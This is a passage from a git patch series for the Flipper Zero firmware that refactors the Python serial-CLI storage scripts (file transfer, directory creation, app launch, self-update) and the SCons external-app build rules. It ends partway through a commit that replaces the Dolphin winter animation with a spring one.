self._check_no_error(response, path) + if response.find(b"File, size:") != -1: + size = int( + "".join( + ch + for ch in response.split(b": ")[1].decode("ascii") + if ch.isdigit() ) - return size - else: - self.last_error = "access denied" - return -1 + ) + return size + raise FlipperStorageException("Not a file") - def mkdir(self, path): + def mkdir(self, path: str): """Create a directory on Flipper""" - self.send_and_wait_eol('storage mkdir "' + path + '"\r') - answer = self.read.until(self.CLI_EOL) + self.send_and_wait_eol(f'storage mkdir "{path}"\r') + response = self.read.until(self.CLI_EOL) self.read.until(self.CLI_PROMPT) - - if self.has_error(answer): - self.last_error = self.get_error(answer) - return False - else: - return True + self._check_no_error(response, path) def format_ext(self): - """Create a directory on Flipper""" + """Format external storage on Flipper""" self.send_and_wait_eol("storage format /ext\r") self.send_and_wait_eol("y\r") - answer = self.read.until(self.CLI_EOL) + response = self.read.until(self.CLI_EOL) self.read.until(self.CLI_PROMPT) + self._check_no_error(response, "/ext") - if self.has_error(answer): - self.last_error = self.get_error(answer) - return False - else: - return True - - def remove(self, path): + def remove(self, path: str): """Remove file or directory on Flipper""" - self.send_and_wait_eol('storage remove "' + path + '"\r') - answer = self.read.until(self.CLI_EOL) + self.send_and_wait_eol(f'storage remove "{path}"\r') + response = self.read.until(self.CLI_EOL) self.read.until(self.CLI_PROMPT) + self._check_no_error(response, path) - if self.has_error(answer): - self.last_error = self.get_error(answer) - return False - else: - return True - - def hash_local(self, filename): + def hash_local(self, filename: str): """Hash of local file""" hash_md5 = hashlib.md5() with open(filename, "rb") as f: @@ -373,14 +383,112 @@ class FlipperStorage: hash_md5.update(chunk) return hash_md5.hexdigest() - def hash_flipper(self, filename): + def hash_flipper(self, filename: str): """Get hash of file on Flipper""" self.send_and_wait_eol('storage md5 "' + filename + '"\r') hash = self.read.until(self.CLI_EOL) self.read.until(self.CLI_PROMPT) + self._check_no_error(hash, filename) + return hash.decode("ascii") - if self.has_error(hash): - self.last_error = self.get_error(hash) - return "" + +class FlipperStorageOperations: + def __init__(self, storage): + self.storage: FlipperStorage = storage + self.logger = logging.getLogger("FStorageOps") + + def send_file_to_storage( + self, flipper_file_path: str, local_file_path: str, force: bool = False + ): + self.logger.debug( + f"* send_file_to_storage: {local_file_path}->{flipper_file_path}, {force=}" + ) + exists = self.storage.exist_file(flipper_file_path) + do_upload = not exists + if exists: + hash_local = self.storage.hash_local(local_file_path) + hash_flipper = self.storage.hash_flipper(flipper_file_path) + self.logger.debug(f"hash check: local {hash_local}, flipper {hash_flipper}") + do_upload = force or (hash_local != hash_flipper) + + if do_upload: + self.logger.info(f'Sending "{local_file_path}" to "{flipper_file_path}"') + self.storage.send_file(local_file_path, flipper_file_path) + + # make directory with exist check + def mkpath(self, flipper_dir_path: str): + path_components, dirs_to_create = flipper_dir_path.split("/"), [] + while not self.storage.exist_dir(dir_path := "/".join(path_components)): + self.logger.debug(f'"{dir_path}" does not exist, will create') + dirs_to_create.append(path_components.pop()) + for dir_to_create in reversed(dirs_to_create): + path_components.append(dir_to_create) + self.storage.mkdir("/".join(path_components)) + + # send file or folder recursively + def recursive_send(self, flipper_path: str, local_path: str, force: bool = False): + if not os.path.exists(local_path): + raise FlipperStorageException(f'"{local_path}" does not exist') + + if os.path.isdir(local_path): + # create parent dir + self.mkpath(flipper_path) + + for dirpath, dirnames, filenames in os.walk(local_path): + self.logger.debug(f'Processing directory "{os.path.normpath(dirpath)}"') + dirnames.sort() + filenames.sort() + rel_path = os.path.relpath(dirpath, local_path) + + # create subdirs + for dirname in dirnames: + flipper_dir_path = os.path.join(flipper_path, rel_path, dirname) + flipper_dir_path = os.path.normpath(flipper_dir_path).replace( + os.sep, "/" + ) + self.mkpath(flipper_dir_path) + + # send files + for filename in filenames: + flipper_file_path = os.path.join(flipper_path, rel_path, filename) + flipper_file_path = os.path.normpath(flipper_file_path).replace( + os.sep, "/" + ) + local_file_path = os.path.normpath(os.path.join(dirpath, filename)) + self.send_file_to_storage(flipper_file_path, local_file_path, force) else: - return hash.decode("ascii") + self.mkpath(posixpath.dirname(flipper_path)) + self.send_file_to_storage(flipper_path, local_path, force) + + def recursive_receive(self, flipper_path: str, local_path: str): + if self.storage.exist_dir(flipper_path): + for dirpath, dirnames, filenames in self.storage.walk(flipper_path): + self.logger.debug( + f'Processing directory "{os.path.normpath(dirpath)}"'.replace( + os.sep, "/" + ) + ) + dirnames.sort() + filenames.sort() + + rel_path = os.path.relpath(dirpath, flipper_path) + + for dirname in dirnames: + local_dir_path = os.path.join(local_path, rel_path, dirname) + local_dir_path = os.path.normpath(local_dir_path) + os.makedirs(local_dir_path, exist_ok=True) + + for filename in filenames: + local_file_path = os.path.join(local_path, rel_path, filename) + local_file_path = os.path.normpath(local_file_path) + flipper_file_path = os.path.normpath( + os.path.join(dirpath, filename) + ).replace(os.sep, "/") + self.logger.info( + f'Receiving "{flipper_file_path}" to "{local_file_path}"' + ) + self.storage.receive_file(flipper_file_path, local_file_path) + + else: + self.logger.info(f'Receiving "{flipper_path}" to "{local_path}"') + self.storage.receive_file(flipper_path, local_path) diff --git a/scripts/requirements.txt b/scripts/requirements.txt deleted file mode 100644 index 5b6fac5f7..000000000 --- a/scripts/requirements.txt +++ /dev/null @@ -1,9 +0,0 @@ -ansi==0.3.6 -black==22.6.0 -colorlog==6.7.0 -heatshrink2==0.11.0 -Pillow==9.1.1 -protobuf==3.20.1 -pyserial==3.5 -python3-protobuf==2.5.0 -SCons==4.4.0 diff --git a/scripts/runfap.py b/scripts/runfap.py index 410b3e7d2..f8ff607c1 100644 --- a/scripts/runfap.py +++ b/scripts/runfap.py @@ -1,108 +1,86 @@ #!/usr/bin/env python3 -import posixpath -from typing import final from flipper.app import App -from flipper.storage import FlipperStorage +from flipper.storage import FlipperStorage, FlipperStorageOperations from flipper.utils.cdc import resolve_port -import logging import os -import pathlib -import serial.tools.list_ports as list_ports +import posixpath +from functools import reduce +import operator class Main(App): def init(self): self.parser.add_argument("-p", "--port", help="CDC Port", default="auto") self.parser.add_argument( - "-n", - "--no-launch", - dest="launch_app", - action="store_false", - help="Don't launch app", + "--sources", + "-s", + nargs="+", + action="append", + default=[], + help="Files to send", + ) + self.parser.add_argument( + "--targets", + "-t", + nargs="+", + action="append", + default=[], + help="File destinations (must be same length as -s)", + ) + self.parser.add_argument( + "--host-app", + "-a", + help="Host app to launch", ) - self.parser.add_argument("fap_src_path", help="App file to upload") - self.parser.add_argument( - "--fap_dst_dir", help="Upload path", default="/ext/apps", required=False - ) self.parser.set_defaults(func=self.install) - # logging - self.logger = logging.getLogger() - - # make directory with exist check - def mkdir_on_storage(self, storage, flipper_dir_path): - if not storage.exist_dir(flipper_dir_path): - self.logger.debug(f'"{flipper_dir_path}" does not exist, creating') - if not storage.mkdir(flipper_dir_path): - self.logger.error(f"Error: {storage.last_error}") - return False - else: - self.logger.debug(f'"{flipper_dir_path}" already exists') - return True - - # send file with exist check and hash check - def send_file_to_storage(self, storage, flipper_file_path, local_file_path, force): - exists = storage.exist_file(flipper_file_path) - do_upload = not exists - if exists: - hash_local = storage.hash_local(local_file_path) - hash_flipper = storage.hash_flipper(flipper_file_path) - self.logger.debug(f"hash check: local {hash_local}, flipper {hash_flipper}") - do_upload = force or (hash_local != hash_flipper) - - if do_upload: - self.logger.info(f'Sending "{local_file_path}" to "{flipper_file_path}"') - if not storage.send_file(local_file_path, flipper_file_path): - self.logger.error(f"Error: {storage.last_error}") - return False - return True + @staticmethod + def flatten(l): + return reduce(operator.concat, l, []) def install(self): - if not (port := resolve_port(self.logger, self.args.port)): + self.args.sources = self.flatten(self.args.sources) + self.args.targets = self.flatten(self.args.targets) + + if len(self.args.sources) != len(self.args.targets): + self.logger.error( + f"Error: sources ({self.args.sources}) and targets ({self.args.targets}) must be same length" + ) return 1 - storage = FlipperStorage(port) - storage.start() + if not (port := resolve_port(self.logger, self.args.port)): + return 2 try: - fap_local_path = self.args.fap_src_path - self.args.fap_dst_dir = self.args.fap_dst_dir.rstrip("/\\") + with FlipperStorage(port) as storage: + storage_ops = FlipperStorageOperations(storage) + for fap_local_path, fap_dst_path in zip( + self.args.sources, self.args.targets + ): + self.logger.info(f'Installing "{fap_local_path}" to {fap_dst_path}') - if not os.path.isfile(fap_local_path): - self.logger.error(f"Error: source .fap ({fap_local_path}) not found") - return -1 + storage_ops.recursive_send(fap_dst_path, fap_local_path, False) - fap_dst_path = posixpath.join( - self.args.fap_dst_dir, os.path.basename(fap_local_path) - ) + fap_host_app = self.args.targets[0] + startup_command = f'"Applications" {fap_host_app}' + if self.args.host_app: + startup_command = self.args.host_app - self.logger.info(f'Installing "{fap_local_path}" to {fap_dst_path}') + self.logger.info(f"Launching app: {startup_command}") + storage.send_and_wait_eol(f"loader open {startup_command}\r") - if not self.mkdir_on_storage(storage, self.args.fap_dst_dir): - self.logger.error(f"Error: cannot create dir: {storage.last_error}") - return -2 - - if not self.send_file_to_storage( - storage, fap_dst_path, fap_local_path, False - ): - self.logger.error(f"Error: upload failed: {storage.last_error}") - return -3 - - if self.args.launch_app: - storage.send_and_wait_eol( - f'loader open "Applications" {fap_dst_path}\r' - ) - result = storage.read.until(storage.CLI_EOL) - if len(result): + if len(result := storage.read.until(storage.CLI_EOL)): self.logger.error(f"Unexpected response: {result.decode('ascii')}") - return -4 + return 3 + return 0 - return 0 - finally: - storage.stop() + except Exception as e: + self.logger.error(f"Error: {e}") + # raise + return 4 if __name__ == "__main__": diff --git a/scripts/selfupdate.py b/scripts/selfupdate.py index 1c16c5ca6..9bfbfefa3 100644 --- a/scripts/selfupdate.py +++ b/scripts/selfupdate.py @@ -2,7 +2,7 @@ from typing import final from flipper.app import App -from flipper.storage import FlipperStorage +from flipper.storage import FlipperStorage, FlipperStorageOperations from flipper.utils.cdc import resolve_port import logging @@ -24,89 +24,47 @@ class Main(App): # logging self.logger = logging.getLogger() - # make directory with exist check - def mkdir_on_storage(self, storage, flipper_dir_path): - if not storage.exist_dir(flipper_dir_path): - self.logger.debug(f'"{flipper_dir_path}" does not exist, creating') - if not storage.mkdir(flipper_dir_path): - self.logger.error(f"Error: {storage.last_error}") - return False - else: - self.logger.debug(f'"{flipper_dir_path}" already exists') - return True - - # send file with exist check and hash check - def send_file_to_storage(self, storage, flipper_file_path, local_file_path, force): - exists = storage.exist_file(flipper_file_path) - do_upload = not exists - if exists: - hash_local = storage.hash_local(local_file_path) - hash_flipper = storage.hash_flipper(flipper_file_path) - self.logger.debug(f"hash check: local {hash_local}, flipper {hash_flipper}") - do_upload = force or (hash_local != hash_flipper) - - if do_upload: - self.logger.info(f'Sending "{local_file_path}" to "{flipper_file_path}"') - if not storage.send_file(local_file_path, flipper_file_path): - self.logger.error(f"Error: {storage.last_error}") - return False - return True - def install(self): if not (port := resolve_port(self.logger, self.args.port)): return 1 - storage = FlipperStorage(port) - storage.start() + if not os.path.isfile(self.args.manifest_path): + self.logger.error("Error: manifest not found") + return 2 + + manifest_path = pathlib.Path(os.path.abspath(self.args.manifest_path)) + manifest_name, pkg_name = manifest_path.parts[-1], manifest_path.parts[-2] + + pkg_dir_name = self.args.pkg_dir_name or pkg_name + update_root = "/ext/update" + flipper_update_path = f"{update_root}/{pkg_dir_name}" + + self.logger.info(f'Installing "{pkg_name}" from {flipper_update_path}') try: - if not os.path.isfile(self.args.manifest_path): - self.logger.error("Error: manifest not found") - return 2 + with FlipperStorage(port) as storage: + storage_ops = FlipperStorageOperations(storage) + storage_ops.mkpath(update_root) + storage_ops.mkpath(flipper_update_path) + storage_ops.recursive_send( + flipper_update_path, manifest_path.parents[0] + ) - manifest_path = pathlib.Path(os.path.abspath(self.args.manifest_path)) - manifest_name, pkg_name = manifest_path.parts[-1], manifest_path.parts[-2] - - pkg_dir_name = self.args.pkg_dir_name or pkg_name - update_root = "/ext/update" - flipper_update_path = f"{update_root}/{pkg_dir_name}" - - self.logger.info(f'Installing "{pkg_name}" from {flipper_update_path}') - # if not os.path.exists(self.args.manifest_path): - # self.logger.error("Error: package not found") - if not self.mkdir_on_storage( - storage, update_root - ) or not self.mkdir_on_storage(storage, flipper_update_path): - self.logger.error(f"Error: cannot create {storage.last_error}") - return -2 - - for dirpath, dirnames, filenames in os.walk(manifest_path.parents[0]): - for fname in filenames: - self.logger.debug(f"Uploading {fname}") - local_file_path = os.path.join(dirpath, fname) - flipper_file_path = f"{flipper_update_path}/{fname}" - if not self.send_file_to_storage( - storage, flipper_file_path, local_file_path, False - ): - self.logger.error(f"Error: {storage.last_error}") - return -3 - - # return -11 storage.send_and_wait_eol( f"update install {flipper_update_path}/{manifest_name}\r" ) result = storage.read.until(storage.CLI_EOL) if not b"Verifying" in result: self.logger.error(f"Unexpected response: {result.decode('ascii')}") - return -4 + return 3 result = storage.read.until(storage.CLI_EOL) if not result.startswith(b"OK"): self.logger.error(result.decode("ascii")) - return -5 - break - return 0 - finally: - storage.stop() + return 4 + return 0 + except Exception as e: + self.logger.error(e) + return 5 if __name__ == "__main__": diff --git a/scripts/storage.py b/scripts/storage.py index ee5dabd43..84c01021a 100755 --- a/scripts/storage.py +++ b/scripts/storage.py @@ -1,16 +1,28 @@ #!/usr/bin/env python3 from flipper.app import App -from flipper.storage import FlipperStorage +from flipper.storage import FlipperStorage, FlipperStorageOperations from flipper.utils.cdc import resolve_port -import logging import os import binascii import filecmp import tempfile +def WrapStorageOp(func): + def wrapper(*args, **kwargs): + try: + func(*args, **kwargs) + return 0 + except Exception as e: + print(f"Error: {e}") + # raise # uncomment to debug + return 1 + + return wrapper + + class Main(App): def init(self): self.parser.add_argument("-p", "--port", help="CDC Port", default="auto") @@ -71,229 +83,71 @@ class Main(App): ) self.parser_stress.set_defaults(func=self.stress) - def _get_storage(self): + def _get_port(self): if not (port := resolve_port(self.logger, self.args.port)): - return None - - storage = FlipperStorage(port) - storage.start() - return storage + raise Exception("Failed to resolve port") + return port + @WrapStorageOp def mkdir(self): - if not (storage := self._get_storage()): - return 1 - self.logger.debug(f'Creating "{self.args.flipper_path}"') - if not storage.mkdir(self.args.flipper_path): - self.logger.error(f"Error: {storage.last_error}") - storage.stop() - return 0 + with FlipperStorage(self._get_port()) as storage: + storage.mkdir(self.args.flipper_path) + @WrapStorageOp def remove(self): - if not (storage := self._get_storage()): - return 1 - self.logger.debug(f'Removing "{self.args.flipper_path}"') - if not storage.remove(self.args.flipper_path): - self.logger.error(f"Error: {storage.last_error}") - storage.stop() - return 0 + with FlipperStorage(self._get_port()) as storage: + storage.remove(self.args.flipper_path) + @WrapStorageOp def receive(self): - if not (storage := self._get_storage()): - return 1 - - if storage.exist_dir(self.args.flipper_path): - for dirpath, dirnames, filenames in storage.walk(self.args.flipper_path): - self.logger.debug( - f'Processing directory "{os.path.normpath(dirpath)}"'.replace( - os.sep, "/" - ) - ) - dirnames.sort() - filenames.sort() - - rel_path = os.path.relpath(dirpath, self.args.flipper_path) - - for dirname in dirnames: - local_dir_path = os.path.join( - self.args.local_path, rel_path, dirname - ) - local_dir_path = os.path.normpath(local_dir_path) - os.makedirs(local_dir_path, exist_ok=True) - - for filename in filenames: - local_file_path = os.path.join( - self.args.local_path, rel_path, filename - ) - local_file_path = os.path.normpath(local_file_path) - flipper_file_path = os.path.normpath( - os.path.join(dirpath, filename) - ).replace(os.sep, "/") - self.logger.info( - f'Receiving "{flipper_file_path}" to "{local_file_path}"' - ) - if not storage.receive_file(flipper_file_path, local_file_path): - self.logger.error(f"Error: {storage.last_error}") - - else: - self.logger.info( - f'Receiving "{self.args.flipper_path}" to "{self.args.local_path}"' + with FlipperStorage(self._get_port()) as storage: + FlipperStorageOperations(storage).recursive_receive( + self.args.flipper_path, self.args.local_path ) - if not storage.receive_file(self.args.flipper_path, self.args.local_path): - self.logger.error(f"Error: {storage.last_error}") - storage.stop() - return 0 + @WrapStorageOp def send(self): - if not (storage := self._get_storage()): - return 1 - - self.send_to_storage( - storage, self.args.flipper_path, self.args.local_path, self.args.force - ) - storage.stop() - return 0 - - # send file or folder recursively - def send_to_storage(self, storage, flipper_path, local_path, force): - if not os.path.exists(local_path): - self.logger.error(f'Error: "{local_path}" is not exist') - - if os.path.isdir(local_path): - # create parent dir - self.mkdir_on_storage(storage, flipper_path) - - for dirpath, dirnames, filenames in os.walk(local_path): - self.logger.debug(f'Processing directory "{os.path.normpath(dirpath)}"') - dirnames.sort() - filenames.sort() - rel_path = os.path.relpath(dirpath, local_path) - - # create subdirs - for dirname in dirnames: - flipper_dir_path = os.path.join(flipper_path, rel_path, dirname) - flipper_dir_path = os.path.normpath(flipper_dir_path).replace( - os.sep, "/" - ) - self.mkdir_on_storage(storage, flipper_dir_path) - - # send files - for filename in filenames: - flipper_file_path = os.path.join(flipper_path, rel_path, filename) - flipper_file_path = os.path.normpath(flipper_file_path).replace( - os.sep, "/" - ) - local_file_path = os.path.normpath(os.path.join(dirpath, filename)) - self.send_file_to_storage( - storage, flipper_file_path, local_file_path, force - ) - else: - self.send_file_to_storage(storage, flipper_path, local_path, force) - - # make directory with exist check - def mkdir_on_storage(self, storage, flipper_dir_path): - if not storage.exist_dir(flipper_dir_path): - self.logger.debug(f'"{flipper_dir_path}" does not exist, creating') - if not storage.mkdir(flipper_dir_path): - self.logger.error(f"Error: {storage.last_error}") - else: - self.logger.debug(f'"{flipper_dir_path}" already exists') - - # send file with exist check and hash check - def send_file_to_storage(self, storage, flipper_file_path, local_file_path, force): - if not storage.exist_file(flipper_file_path): - self.logger.debug( - f'"{flipper_file_path}" does not exist, sending "{local_file_path}"' + with FlipperStorage(self._get_port()) as storage: + FlipperStorageOperations(storage).recursive_send( + self.args.flipper_path, self.args.local_path, self.args.force ) - self.logger.info(f'Sending "{local_file_path}" to "{flipper_file_path}"') - if not storage.send_file(local_file_path, flipper_file_path): - self.logger.error(f"Error: {storage.last_error}") - elif force: - self.logger.debug( - f'"{flipper_file_path}" exists, but will be overwritten by "{local_file_path}"' - ) - self.logger.info(f'Sending "{local_file_path}" to "{flipper_file_path}"') - if not storage.send_file(local_file_path, flipper_file_path): - self.logger.error(f"Error: {storage.last_error}") - else: - self.logger.debug( - f'"{flipper_file_path}" exists, compare hash with "{local_file_path}"' - ) - hash_local = storage.hash_local(local_file_path) - hash_flipper = storage.hash_flipper(flipper_file_path) - - if not hash_flipper: - self.logger.error(f"Error: {storage.last_error}") - - if hash_local == hash_flipper: - self.logger.debug( - f'"{flipper_file_path}" is equal to "{local_file_path}"' - ) - else: - self.logger.debug( - f'"{flipper_file_path}" is NOT equal to "{local_file_path}"' - ) - self.logger.info( - f'Sending "{local_file_path}" to "{flipper_file_path}"' - ) - if not storage.send_file(local_file_path, flipper_file_path): - self.logger.error(f"Error: {storage.last_error}") + @WrapStorageOp def read(self): - if not (storage := self._get_storage()): - return 1 - self.logger.debug(f'Reading "{self.args.flipper_path}"') - data = storage.read_file(self.args.flipper_path) - if not data: - self.logger.error(f"Error: {storage.last_error}") - else: + with FlipperStorage(self._get_port()) as storage: + data = storage.read_file(self.args.flipper_path) try: print("Text data:") print(data.decode()) except: print("Binary hexadecimal data:") print(binascii.hexlify(data).decode()) - storage.stop() - return 0 + @WrapStorageOp def size(self): - if not (storage := self._get_storage()): - return 1 - self.logger.debug(f'Getting size of "{self.args.flipper_path}"') - size = storage.size(self.args.flipper_path) - if size < 0: - self.logger.error(f"Error: {storage.last_error}") - else: - print(size) - storage.stop() - return 0 + with FlipperStorage(self._get_port()) as storage: + print(storage.size(self.args.flipper_path)) + @WrapStorageOp def list(self): - if not (storage := self._get_storage()): - return 1 - self.logger.debug(f'Listing "{self.args.flipper_path}"') - storage.list_tree(self.args.flipper_path) - storage.stop() - return 0 + with FlipperStorage(self._get_port()) as storage: + storage.list_tree(self.args.flipper_path) + @WrapStorageOp def format_ext(self): - if not (storage := self._get_storage()): - return 1 - self.logger.debug("Formatting /ext SD card") + with FlipperStorage(self._get_port()) as storage: + storage.format_ext() - if not storage.format_ext(): - self.logger.error(f"Error: {storage.last_error}") - storage.stop() - return 0 - + @WrapStorageOp def stress(self): self.logger.error("This test is wearing out flash memory.") - self.logger.error("Never use it with internal storage(/int)") + self.logger.error("Never use it with internal storage (/int)") if self.args.flipper_path.startswith( "/int" @@ -312,24 +166,19 @@ class Main(App): with open(send_file_name, "w") as fout: fout.write("A" * self.args.file_size) - storage = self._get_storage() - if not storage: - return 1 - - if storage.exist_file(self.args.flipper_path): - self.logger.error("File exists, remove it first") - return - while self.args.count > 0: - storage.send_file(send_file_name, self.args.flipper_path) - storage.receive_file(self.args.flipper_path, receive_file_name) - if not filecmp.cmp(receive_file_name, send_file_name): - self.logger.error("Files mismatch") - break - storage.remove(self.args.flipper_path) - os.unlink(receive_file_name) - self.args.count -= 1 - storage.stop() - return 0 + with FlipperStorage(self._get_port()) as storage: + if storage.exist_file(self.args.flipper_path): + self.logger.error("File exists, remove it first") + return + while self.args.count > 0: + storage.send_file(send_file_name, self.args.flipper_path) + storage.receive_file(self.args.flipper_path, receive_file_name) + if not filecmp.cmp(receive_file_name, send_file_name): + self.logger.error("Files mismatch") + break + storage.remove(self.args.flipper_path) + os.unlink(receive_file_name) + self.args.count -= 1 if __name__ == "__main__": diff --git a/site_scons/commandline.scons b/site_scons/commandline.scons index e3ddc59aa..d832a466e 100644 --- a/site_scons/commandline.scons +++ b/site_scons/commandline.scons @@ -194,10 +194,6 @@ vars.AddVariables( "system_apps", # Settings "settings_apps", - # Plugins - # "basic_plugins", - # Debug - # "debug_apps", ), }, ), @@ -222,7 +218,7 @@ vars.AddVariables( ("applications/settings", False), ("applications/system", False), ("applications/debug", False), - ("applications/plugins", False), + ("applications/external", False), ("applications/examples", False), ("applications_user", False), ], diff --git a/site_scons/extapps.scons b/site_scons/extapps.scons index abe1a4534..208b75775 100644 --- a/site_scons/extapps.scons +++ b/site_scons/extapps.scons @@ -1,7 +1,9 @@ from dataclasses import dataclass, field +from os.path import dirname + from SCons.Node import NodeList from SCons.Warnings import warn, WarningOnByDefault - +from SCons.Errors import UserError Import("ENV") @@ -12,7 +14,8 @@ appenv = ENV["APPENV"] = ENV.Clone( "fbt_extapps", "fbt_assets", "fbt_sdk", - ] + ], + RESOURCES_ROOT=ENV.Dir("#/assets/resources"), ) appenv.Replace( @@ -57,7 +60,7 @@ appenv.AppendUnique( @dataclass class FlipperExtAppBuildArtifacts: - applications: dict = field(default_factory=dict) + application_map: dict = field(default_factory=dict) resources_dist: NodeList = field(default_factory=NodeList) sdk_tree: NodeList = field(default_factory=NodeList) @@ -86,6 +89,9 @@ for app in known_extapps: appenv.BuildAppElf(app) +extapps = FlipperExtAppBuildArtifacts() +extapps.application_map = appenv["EXT_APPS"] + if incompatible_apps: warn( WarningOnByDefault, @@ -95,27 +101,60 @@ if incompatible_apps: if appenv["FORCE"]: appenv.AlwaysBuild( - list(app_artifact.compact for app_artifact in appenv["EXT_APPS"].values()) + list(app_artifact.compact for app_artifact in extapps.application_map.values()) ) Alias( - "faps", list(app_artifact.validator for app_artifact in appenv["EXT_APPS"].values()) + "faps", + list(app_artifact.validator for app_artifact in extapps.application_map.values()), ) -extapps = FlipperExtAppBuildArtifacts() -extapps.applications = appenv["EXT_APPS"] -extapps.resources_dist = appenv.FapDist(appenv.Dir("#/assets/resources/apps"), []) +extapps.resources_dist = appenv.FapDist(appenv["RESOURCES_ROOT"], []) if appsrc := appenv.subst("$APPSRC"): - app_artifacts = appenv.GetExtAppFromPath(appsrc) + deploy_sources, flipp_dist_paths, validators = [], [], [] + run_script_extra_ars = "" + + def _add_dist_targets(app_artifacts): + validators.append(app_artifacts.validator) + for _, ext_path in app_artifacts.dist_entries: + deploy_sources.append(app_artifacts.compact) + flipp_dist_paths.append(f"/ext/{ext_path}") + return app_artifacts + + def _add_host_app_to_targets(host_app): + artifacts_app_to_run = appenv["EXT_APPS"].get(host_app.appid, None) + _add_dist_targets(artifacts_app_to_run) + for plugin in host_app._plugins: + _add_dist_targets(appenv["EXT_APPS"].get(plugin.appid, None)) + + artifacts_app_to_run = appenv.GetExtAppByIdOrPath(appsrc) + if artifacts_app_to_run.app.apptype == FlipperAppType.PLUGIN: + # We deploy host app instead + host_app = appenv["APPMGR"].get(artifacts_app_to_run.app.requires[0]) + + if host_app: + if host_app.apptype == FlipperAppType.EXTERNAL: + _add_host_app_to_targets(host_app) + else: + # host app is a built-in app + run_script_extra_ars = f"-a {host_app.name}" + _add_dist_targets(artifacts_app_to_run) + else: + raise UserError("Host app is unknown") + else: + _add_host_app_to_targets(artifacts_app_to_run.app) + + # print(deploy_sources, flipp_dist_paths) appenv.PhonyTarget( "launch_app", - '${PYTHON3} "${APP_RUN_SCRIPT}" "${SOURCE}" --fap_dst_dir "/ext/apps/${FAP_CATEGORY}"', - source=app_artifacts.compact, - FAP_CATEGORY=app_artifacts.app.fap_category, + '${PYTHON3} "${APP_RUN_SCRIPT}" ${EXTRA_ARGS} -s ${SOURCES} -t ${FLIPPER_FILE_TARGETS}', + source=deploy_sources, + FLIPPER_FILE_TARGETS=flipp_dist_paths, + EXTRA_ARGS=run_script_extra_ars, ) - appenv.Alias("launch_app", app_artifacts.validator) + appenv.Alias("launch_app", validators) # SDK management From ccaa3864d54b3792b8ab0ec0a2efbd82b3c2f7ae Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E3=81=82=E3=81=8F?= Date: Wed, 15 Mar 2023 00:02:27 +0900 Subject: [PATCH 078/329] Dolphin: new spring animation, weight adjust, drop winter animation. (#2489) * Dolphin: add new spring animation, drop winter animation, adjust weights * Readme: update application folder structure info --- applications/ReadMe.md | 15 ++++++++---- .../external/L1_Senpai_128x64/frame_0.png | Bin 0 -> 1756 bytes .../external/L1_Senpai_128x64/frame_1.png | Bin 0 -> 1841 bytes .../external/L1_Senpai_128x64/frame_10.png | Bin 0 -> 1846 bytes .../external/L1_Senpai_128x64/frame_11.png | Bin 0 -> 1824 bytes .../external/L1_Senpai_128x64/frame_12.png | Bin 0 -> 1826 bytes .../external/L1_Senpai_128x64/frame_13.png | Bin 0 -> 1862 bytes .../external/L1_Senpai_128x64/frame_14.png | Bin 0 -> 1815 bytes .../external/L1_Senpai_128x64/frame_15.png | Bin 0 -> 1855 bytes .../external/L1_Senpai_128x64/frame_16.png | Bin 0 -> 2009 bytes .../external/L1_Senpai_128x64/frame_17.png | Bin 0 -> 1918 bytes .../external/L1_Senpai_128x64/frame_18.png | Bin 0 -> 1686 bytes .../external/L1_Senpai_128x64/frame_19.png | Bin 0 -> 1593 bytes .../external/L1_Senpai_128x64/frame_2.png | Bin 0 -> 1879 bytes .../external/L1_Senpai_128x64/frame_20.png | Bin 0 -> 1281 bytes .../external/L1_Senpai_128x64/frame_21.png | Bin 0 -> 1318 bytes .../external/L1_Senpai_128x64/frame_22.png | Bin 0 -> 1102 bytes .../external/L1_Senpai_128x64/frame_23.png | Bin 0 -> 1537 bytes .../external/L1_Senpai_128x64/frame_24.png | Bin 0 -> 1414 bytes .../external/L1_Senpai_128x64/frame_25.png | Bin 0 -> 1486 bytes .../external/L1_Senpai_128x64/frame_26.png | Bin 0 -> 1364 bytes .../external/L1_Senpai_128x64/frame_27.png | Bin 0 -> 1325 bytes .../external/L1_Senpai_128x64/frame_28.png | Bin 0 -> 1278 bytes .../external/L1_Senpai_128x64/frame_29.png | Bin 0 -> 1179 bytes .../external/L1_Senpai_128x64/frame_3.png | Bin 0 -> 1861 bytes .../external/L1_Senpai_128x64/frame_30.png | Bin 0 -> 1198 bytes .../external/L1_Senpai_128x64/frame_31.png | Bin 0 -> 1204 bytes .../external/L1_Senpai_128x64/frame_32.png | Bin 0 -> 1248 bytes .../external/L1_Senpai_128x64/frame_33.png | Bin 0 -> 1669 bytes .../external/L1_Senpai_128x64/frame_34.png | Bin 0 -> 1767 bytes .../external/L1_Senpai_128x64/frame_35.png | Bin 0 -> 1832 bytes .../external/L1_Senpai_128x64/frame_4.png | Bin 0 -> 1769 bytes .../external/L1_Senpai_128x64/frame_5.png | Bin 0 -> 1869 bytes .../external/L1_Senpai_128x64/frame_6.png | Bin 0 -> 1893 bytes .../external/L1_Senpai_128x64/frame_7.png | Bin 0 -> 1835 bytes .../external/L1_Senpai_128x64/frame_8.png | Bin 0 -> 1772 bytes .../external/L1_Senpai_128x64/frame_9.png | Bin 0 -> 1827 bytes .../external/L1_Senpai_128x64/meta.txt | 23 ++++++++++++++++++ .../L1_Sleigh_ride_128x64/frame_0.png | Bin 1656 -> 0 bytes .../L1_Sleigh_ride_128x64/frame_1.png | Bin 1754 -> 0 bytes .../L1_Sleigh_ride_128x64/frame_10.png | Bin 1494 -> 0 bytes .../L1_Sleigh_ride_128x64/frame_11.png | Bin 1637 -> 0 bytes .../L1_Sleigh_ride_128x64/frame_12.png | Bin 1713 -> 0 bytes .../L1_Sleigh_ride_128x64/frame_13.png | Bin 1585 -> 0 bytes .../L1_Sleigh_ride_128x64/frame_14.png | Bin 1634 -> 0 bytes .../L1_Sleigh_ride_128x64/frame_15.png | Bin 1771 -> 0 bytes .../L1_Sleigh_ride_128x64/frame_16.png | Bin 1681 -> 0 bytes .../L1_Sleigh_ride_128x64/frame_17.png | Bin 1503 -> 0 bytes .../L1_Sleigh_ride_128x64/frame_18.png | Bin 1663 -> 0 bytes .../L1_Sleigh_ride_128x64/frame_19.png | Bin 1661 -> 0 bytes .../L1_Sleigh_ride_128x64/frame_2.png | Bin 1681 -> 0 bytes .../L1_Sleigh_ride_128x64/frame_20.png | Bin 1559 -> 0 bytes .../L1_Sleigh_ride_128x64/frame_21.png | Bin 1542 -> 0 bytes .../L1_Sleigh_ride_128x64/frame_22.png | Bin 1736 -> 0 bytes .../L1_Sleigh_ride_128x64/frame_23.png | Bin 1621 -> 0 bytes .../L1_Sleigh_ride_128x64/frame_24.png | Bin 1628 -> 